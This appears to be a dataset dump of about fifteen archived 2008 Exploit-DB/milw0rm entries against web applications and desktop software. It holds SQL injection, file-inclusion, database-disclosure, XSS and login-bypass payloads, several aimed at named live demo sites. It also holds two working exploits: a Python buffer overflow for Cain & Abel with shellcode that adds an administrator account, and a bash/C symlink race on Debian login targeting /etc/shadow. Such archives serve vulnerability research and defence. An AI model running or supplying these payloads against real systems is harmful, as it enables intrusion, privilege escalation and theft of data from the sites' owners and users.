QLWD/code_shield huggingface dataset:
标题: Gallery MX 2.0.0 - Blind SQL Injection EDB-ID: 7326 CVE: 2008-6379 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-03 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------

 [~]Tybe:(pics_pre.asp ID) Blind SQL Injection Vulnerability
   
 [~]Vendor: www.mxmania.net/
   
 [~]Software: Gallery MX
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] --------------------------------{str0ke}---------------------------
   

 [~]3xpL0!7 4 d3m0:

 http://gallery.mxmania.net/pics_pre.asp?ID={bL!ND}

   
 [~] 8L!/\/D:
   
  7Ru3 : pics_pre.asp?ID=1 and 1=1

  f4L53: pics_pre.asp?ID=1 and 1=2

   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[[~]----------------------------------------{str0ke}----------------------------------------------
  

  [~] Greetz tO: {str0ke} & c08RA & black_R0se& maxmos & EV!L KS@ & hesham_hacker &EL z0herY
  [~]  
  [~] spechial thanks : dolly & 7am3m & W4L3d ? & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]-----------------------------------------{str0ke}----------------------------------------------

# milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7326
标题: Cain & Abel 4.9.23 - '.rdp' Local Buffer Overflow EDB-ID: 7329 CVE: 2008-5405 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-03 漏洞利用脚本: #exploit.py
print ""
print "                 !R4Q!4N H4CK3R"
print "Cain & Abel 4.9.23 (rdp file) Buffer overflow Exploit"
print "By:Encrypt3d.M!nd"
print "encrypt3d.blogspot.com"
print "######################################################"
print "Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder..and all my friends"
print "This is exploit for my PoC"
print "Tested on:Windows Xp Sp3 Patched"
print "This exploit will Create File(.rdp) and when decoding"
print "The file with Cain(Remote Desktop Password Decoder)"
print "Will Add administrator user(user) with password(pass)"
print ""

# win32_adduser -  PASS=pass EXITFUNC=seh USER=user Size=232
Encoder=PexFnstenvSub http://metasploit.com

shellcode = "\x2b\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46"
shellcode+= "\xcd\x10\x60\x83\xeb\xfc\xe2\xf4\xba\x25\x54\x60\x46\xcd\x9b\x25"
shellcode+= "\x7a\x46\x6c\x65\x3e\xcc\xff\xeb\x09\xd5\x9b\x3f\x66\xcc\xfb\x29"
shellcode+= "\xcd\xf9\x9b\x61\xa8\xfc\xd0\xf9\xea\x49\xd0\x14\x41\x0c\xda\x6d"
shellcode+= "\x47\x0f\xfb\x94\x7d\x99\x34\x64\x33\x28\x9b\x3f\x62\xcc\xfb\x06"
shellcode+= "\xcd\xc1\x5b\xeb\x19\xd1\x11\x8b\xcd\xd1\x9b\x61\xad\x44\x4c\x44"
shellcode+= "\x42\x0e\x21\xa0\x22\x46\x50\x50\xc3\x0d\x68\x6c\xcd\x8d\x1c\xeb"
shellcode+= "\x36\xd1\xbd\xeb\x2e\xc5\xfb\x69\xcd\x4d\xa0\x60\x46\xcd\x9b\x08"
shellcode+= "\x7a\x92\x21\x96\x26\x9b\x99\x98\xc5\x0d\x6b\x30\x2e\x3d\x9a\x64"
shellcode+= "\x19\xa5\x88\x9e\xcc\xc3\x47\x9f\xa1\xae\x7d\x04\x68\xa8\x68\x05"
shellcode+= "\x66\xe2\x73\x40\x28\xa8\x64\x40\x33\xbe\x75\x12\x66\xb8\x63\x05"
shellcode+= "\x34\xed\x60\x01\x35\xbe\x30\x4f\x07\x89\x54\x40\x60\xeb\x30\x0e"
shellcode+= "\x23\xb9\x30\x0c\x29\xae\x71\x0c\x21\xbf\x7f\x15\x36\xed\x51\x04"
shellcode+= "\x2b\xa4\x7e\x09\x35\xb9\x62\x01\x32\xa2\x62\x13\x66\xb8\x63\x05"
shellcode+= "\x34\xed\x3f\x21\x02\x89\x10\x60";

# and if you want to test it..this shellcode will open calc.exe
#shellcode = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb2"
#shellcode+= "\xab\x63\x3d\x83\xeb\xfc\xe2\xf4\x4e\x43\x27\x3d\xb2\xab\xe8\x78"
#shellcode+= "\x8e\x20\x1f\x38\xca\xaa\x8c\xb6\xfd\xb3\xe8\x62\x92\xaa\x88\x74"
#shellcode+= "\x39\x9f\xe8\x3c\x5c\x9a\xa3\xa4\x1e\x2f\xa3\x49\xb5\x6a\xa9\x30"
#shellcode+= "\xb3\x69\x88\xc9\x89\xff\x47\x39\xc7\x4e\xe8\x62\x96\xaa\x88\x5b"
#shellcode+= "\x39\xa7\x28\xb6\xed\xb7\x62\xd6\x39\xb7\xe8\x3c\x59\x22\x3f\x19"
#shellcode+= "\xb6\x68\x52\xfd\xd6\x20\x23\x0d\x37\x6b\x1b\x31\x39\xeb\x6f\xb6"
#shellcode+= "\xc2\xb7\xce\xb6\xda\xa3\x88\x34\x39\x2b\xd3\x3d\xb2\xab\xe8\x55"
#shellcode+= "\x8e\xf4\x52\xcb\xd2\xfd\xea\xc5\x31\x6b\x18\x6d\xda\x5b\xe9\x39"
#shellcode+= "\xed\xc3\xfb\xc3\x38\xa5\x34\xc2\x55\xc8\x02\x51\xd1\x85\x06\x45"
#shellcode+= "\xd7\xab\x63\x3d";

eip = "\xB7\x2F\x49\x7E" #user32.dll jmp esp 0x7E492FB7

chars = "E"*8206
print "Bu!ld!ng 3xpl0!t....Pl3453 W4!t"
print ""
file = open('cain.rdp','w')
file.write (chars+eip+eip+"\x90"*10+shellcode)
file.close()
print "D0NE!"

# milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7329
标题: Multi SEO phpBB 1.1.0 - Remote File Inclusion EDB-ID: 7335 CVE: 2008-6377 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-03 漏洞利用脚本: ==========================================================================


  [o] Multi SEO phpBB 1.1.0 Remote File Inclusion Vulnerability

       Software : Multi SEO phpBB version 1.1.0

       Vendor   : http://www.phpbb-seo.de/

       Download : http://www.phpbb-seo.de/downloads/multi.html

       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


==========================================================================


  [o] Vulnerable file


       include/global.php


        include_once ($pfad . 'include/config.php');



  [o] Exploit

       http://localhost/[path]/include/global.php?pfad=[evilcode]


==========================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.com/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
==========================================================================

# milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7335
标题: Rapid Classified 3.1 - Database Disclosure EDB-ID: 7324 CVE: 2008-6388 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: ---------------------------------------------------------------------------

Script Name: Rapid Classified

Version: v3.1

Google Dork: intext:Â©2003-2008 RC v3.1 Developed by: GA Soft

Author: CoBRa_21
 
My Web Site: www.ipbul.org

---------------------------------------------------------------------------
 
Exploit:
 
http://localhost/[PATH]/db/cldb.mdb
 
 
---------------------------------------------------------------------------

# milw0rm.com [2008-12-02] URL: https://www.exploit-db.com/exploits/7324
标题: Codefixer MailingListPro - Database Disclosure EDB-ID: 7325 CVE: 2008-6374 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-02 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################




---------------------------- Tunisia Muslim ------------------------------




#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org



#contact  : AlpHa[AT]HACKER[DOT]BZ




###########################################################################



#script   : MailingListPro
#version  : FreeEdition
#download : http://www.codefixersoftware.com/downloads/mailinglist.zip






#Exploit :
http://target.com/db/MailingList.mdb


#live example :
http://www.codefixer.com/mailingList/db/MailingList.mdb







#greetz : Zigma , Serh , GHOST-HACKER , UnknOwn

###########################################################################

# milw0rm.com [2008-12-02] URL: https://www.exploit-db.com/exploits/7325
标题: Ocean12 Mailing List Manager Gold - File Disclosure / SQL Injection / Cross-Site Scripting EDB-ID: 7319 CVE: 2008-5980 2008-5979 2008-5978 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Ocean12 Mailing List Manager Gold
Vendor : http://ocean12tech.com/products/o12mailgold
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD,SQL,XSS)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/o12mail.mdb
[SQL]:
http://site.com/[Path]/s_edit.asp?email=[SQL]
http://site.com/[Path]/default.asp?Page=2&Email='[SQL]
[XSS]:
http://site.com/[Path]/default.asp?Error=Pouya_Server&Name=&Email=Pouya.s3rver@gmail.com"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>

---------------------------------
Victem :
http://ocean12tech.com/products/o12mailgold/demo

# milw0rm.com [2008-12-02] URL: https://www.exploit-db.com/exploits/7319
标题: SunByte e-Flower - 'id' SQL Injection EDB-ID: 7323 CVE: 2008-5969 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: #===========================================================
#
# SunByte e-Flower SQL Injection Attack by [W4RL0CK]
#
#===========================================================
# 
# VENDOR: Sunbyte  URL: http://www.sunbyte.net/
# APP: Sunbyte e-Flower (eCommerce webapp)
# APP SITE: http://www.sunbyte.net/products/index.php?screen=eflower
# AUTHOR: W4RL0CK
# DATE: 29/11/08
# VULN.: SQL INJECTION
#
# 
# WEBSITE: http://warlock.iblogger.org
# CONTACT: w4rl0ck@hackermail.com
#
#===========================================================
#
# Expl0itin6:
#
# http://localhost/sunbyte/popupproduct.php?id=[uR eViLNeSS HeRe]
#
# Liv3 dEm0:
#
# http://www.sunbyte.net/florist/popupproduct.php?id=1337+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12
#
#
#
# now, use y0ur imaginati0n!  ;) 
# note: there could be more vulnerabilities in the application
#
#===========================================================
#
# gr33tz t0 >>>>>>>>> CHIL34N T34M <<<<<<<<<<<<
#  ===================================================
# [ we ar3: Vicent0! ~ ThE.Xin0x ~ Par4d0gX ~ W4RL0CK ]
#  ===================================================
#
#     and all m3mb3rs of: [MiTM.cL]       & str0ke
#
#===========================================================

# milw0rm.com [2008-12-02] URL: https://www.exploit-db.com/exploits/7323
标题: Calendar MX Professional 2.0.0 - Blind SQL Injection EDB-ID: 7327 CVE: 2008-6378 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-03 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------

 [~]Tybe:(calendar_Eventupdate.asp ID) Blind SQL Injection Vulnerability
   
 [~]Vendor: www.mxmania.net
   
 [~]Software: Calendar Mx Professional  
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] --------------------------------{str0ke}---------------------------
   

 [~]3xpL0!7 4 d3m0:

 http://calendar.mxmania.net/calendar_Eventupdate.asp?ID={bL!ND}

   
 [~] 8L!/\/D:
   
  7Ru3 : calendar_Eventupdate.asp?ID=1 and 1=1

  f4L53: calendar_Eventupdate.asp?ID=1 and 1=2

   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[[~]----------------------------------------{str0ke}----------------------------------------------
  

  [~] Greetz tO: {str0ke} & c08RA & black_R0se& maxmos & EV!L KS@ & hesham_hacker &EL z0herY
  [~]  
  [~] spechial thanks : dolly & 7am3m & W4L3d ? & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]-----------------------------------------{str0ke}----------------------------------------------

# milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7327
标题: Debian - Symlink In Login Arbitrary File Ownership EDB-ID: 7313 CVE: 2008-5394 类型: LOCAL 平台: LINUX 发布日期: 2008-12-01 漏洞利用脚本: #!/bin/bash -

echo '
 #include <string.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <utmp.h>
 #include <sys/types.h>
 #include <stdio.h>

 int main(int argc, char *argv[])
 {
   struct utmp entry;
   int i;

   entry.ut_type=LOGIN_PROCESS;
   strcpy(entry.ut_line,"/tmp/x");
   entry.ut_time=0;
   strcpy(entry.ut_user,"badguy");
   strcpy(entry.ut_host,"badhost");
   entry.ut_addr=0;
   for(i=1;i<9;i++) {
     entry.ut_pid=(pid_t)( i + (int)getpid() );
     sprintf(entry.ut_id,"bad%d",i);
     pututline(&entry);
   }
 }
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
 #include <unistd.h>

 int main(int argc, char *argv[])
 {
   while(1)
   {
     unlink("/tmp/x");
     symlink(argv[1],"/tmp/x");
     unlink("/tmp/x");
     symlink(argv[2],"/tmp/x");
   }
 }
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

# milw0rm.com [2008-12-01] URL: https://www.exploit-db.com/exploits/7313
标题: Broadcast Machine 0.1 - Multiple Remote File Inclusions EDB-ID: 7310 CVE: 2008-6287 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-30 漏洞利用脚本: =================================================================================================================


  [o] Broadcast Machine 0.1 Multiple Remote File Inclusion Vulnerability

       Software    : Broadcast Machine version 0.1
       Vendor      : http://code.google.com/p/broadcastmachine/
       View Source : https://svn.participatoryculture.org/svn/dtv/trunk/bmachine2/
       Author      : NoGe
       Contact     : noge[dot]code[at]gmail[dot]com
       Blog        : http://evilc0de.blogspot.com


=================================================================================================================


  [o] Vulnerable file

       all file below is affected by "baseDir" parameter

        controllers/MySQLController.php

        controllers/SQLController.php

        controllers/SetupController.php

        controllers/VideoController.php

        controllers/ViewController.php



  [o] Exploit


       http://localhost/[path]/controllers/MySQLController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/SQLController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/SetupController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/VideoController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/ViewController.php?baseDir=[evilcode]


=================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
=================================================================================================================

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7310
标题: KTP Computer Customer Database CMS 1.0 - Blind SQL Injection EDB-ID: 7305 CVE: 2008-5954 2008-5952 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-30 漏洞利用脚本: ================================================
  KTPCCD CMS Blind SQL Injection Vulnerability
================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 30 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : APPLICATION : KTP Computer Customer Database CMS
 VERSION     : 1
 DOWNLOAD    : http://downloads.sourceforge.net/ktpcomputercust/ktp_build_20081119.zip
#####################################################

**Need Magic_quote = Off**

--- Blind SQL Injection ---

Login as user or Register at http://[Target]/[ktp_path]/?p=tech&a=ntech then goto Exploit...

---------
 Exploit
---------

Test Blind SQL Injection in MYSQL Version 5

[!]True
[+] http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=5--

Result
Home Phone: 122-131-3123
Cell Phone: 123-123-3123
Fax Number: 123-213-1321
A+ Certifcation ID: 312 


[!]False
[+] http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=4--

Result
Home Phone: n/a
Cell Phone: n/a
Fax Number: n/a
A+ Certifcation ID: (Technician is not certified) 

#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7305
标题: ASPPortal 3.2.5 - Database Disclosure EDB-ID: 7316 CVE: 2008-6382 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: ===================================================================
  ASPPortal Free Version Remote Database Disclosure Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'
 

AUTHOR : CWH Underground
DATE   : 1 December 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : ASPPortal
 VERSION     : Free Version
 VENDOR      : www.aspportal.net
 Download    : www.aspportal.net/download.aspx
#####################################################

http://[Target]/[aspportal_path]/Data/ASPPortal.mdb

# milw0rm.com [2008-12-01] URL: https://www.exploit-db.com/exploits/7316
标题: z1exchange 1.0 - 'site' SQL Injection EDB-ID: 7311 CVE: 2008-6284 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: -------------------------------------------------------------------------
  --          JIKO FroM No-exploit.Com        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-exploit.Com
# Script  : z1exchange-->http://1scripts.net/scripts/z1exchange.zip
 Proud To Be MoroCCaN -->> WwW.No-ExploiT.CoM  , WwW.Exploiter5.CoM
Fkhatar L3chran wwlad darb wlidat l9issm wmansach L3chira
=========================[JAWAD Cha7ta 4 ever]===================
# Exploit  :
               http://no-exploit.com

http://no-exploit.com//z1exchange/edit.php?site=[sql]
http://no-exploit.com//z1exchange/edit.php?site=-12%20union%20select%200,1,username,password,4,version(),user(),7,8,9,10,11,database(),13,14,15,16,17,18++from+users--

DEMO:

http://localhost/scripts/z1exchange/z1exchange/edit.php?site=-12 union select 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

=========================[Thanks To Allah ]===================
 greetz : all my friend and all No-exploit members and
 $ Gold_M $ Cochlain $ Hassin X $ cyber-zone $ r00t c0d3r $ HiSoKa $
MizoZ $ leopard
 all muslims
 visit: www.no-exploit.Com
 Visit: My-montada.Co.cc For your free Forum
 
-------------------------------------------------------------------------
  --          JIKO FroM No-exploit.Com        ---
-------------------------------------------------------------------------
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc
Raha nayda Nood :)Fuck Bigg Kbir Lkarcha Bo ta7cha stoon dyalibou7do hwa cha7ta
++--------------------------------------------------------------------------------------------------------------------------------------------------------+
++          [!]  Fi Khater Mgharba wahed wahed , Kima tayGol Khoya cyber-zone , Ana Maghribi , Ana Arabi , Ana Muslim , Jib L3azz Awela K7azz [!]        ++
+--------------------------------------------------------------------------------------------------------------------------------------------------------++

# milw0rm.com [2008-12-01] URL: https://www.exploit-db.com/exploits/7311
标题: PacPoll 4.0 - Database Disclosure EDB-ID: 7318 CVE: 2008-5981 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------




#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ




###########################################################################



#script   : PacPoll
#version  : v4
#download : http://pacosdrivers.com/asp/poll/count.asp?u_link=dload.asp




#Exploit :
http://target.com/script/poll.mdb
http://target.com/script/poll97.mdb

#live example :
http://pacosdrivers.com/asp/poll/poll.mdb





#greetz : Zigma , Serh , Simo-Soft &  dear Slax

###########################################################################

# milw0rm.com [2008-12-01] URL: https://www.exploit-db.com/exploits/7318
标题: E.Z. Poll 2 - Authentication Bypass EDB-ID: 7315 CVE: 2008-3590 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: Description:
************* ***************** ************* *******************
E.Z. Poll <= v.2 script Remote SQL injection Exploit
discovered by t0fx aka xtof69
vendor : E.Z.


************* ***************** ************* *******************

vulnerable page : http://www.site.com/admin/login.asp

exploit :

Username : 'or' '='
Password : 'or' '='

Add, modify user :
/admin/admin-users.asp 

# milw0rm.com [2008-12-01] URL: https://www.exploit-db.com/exploits/7315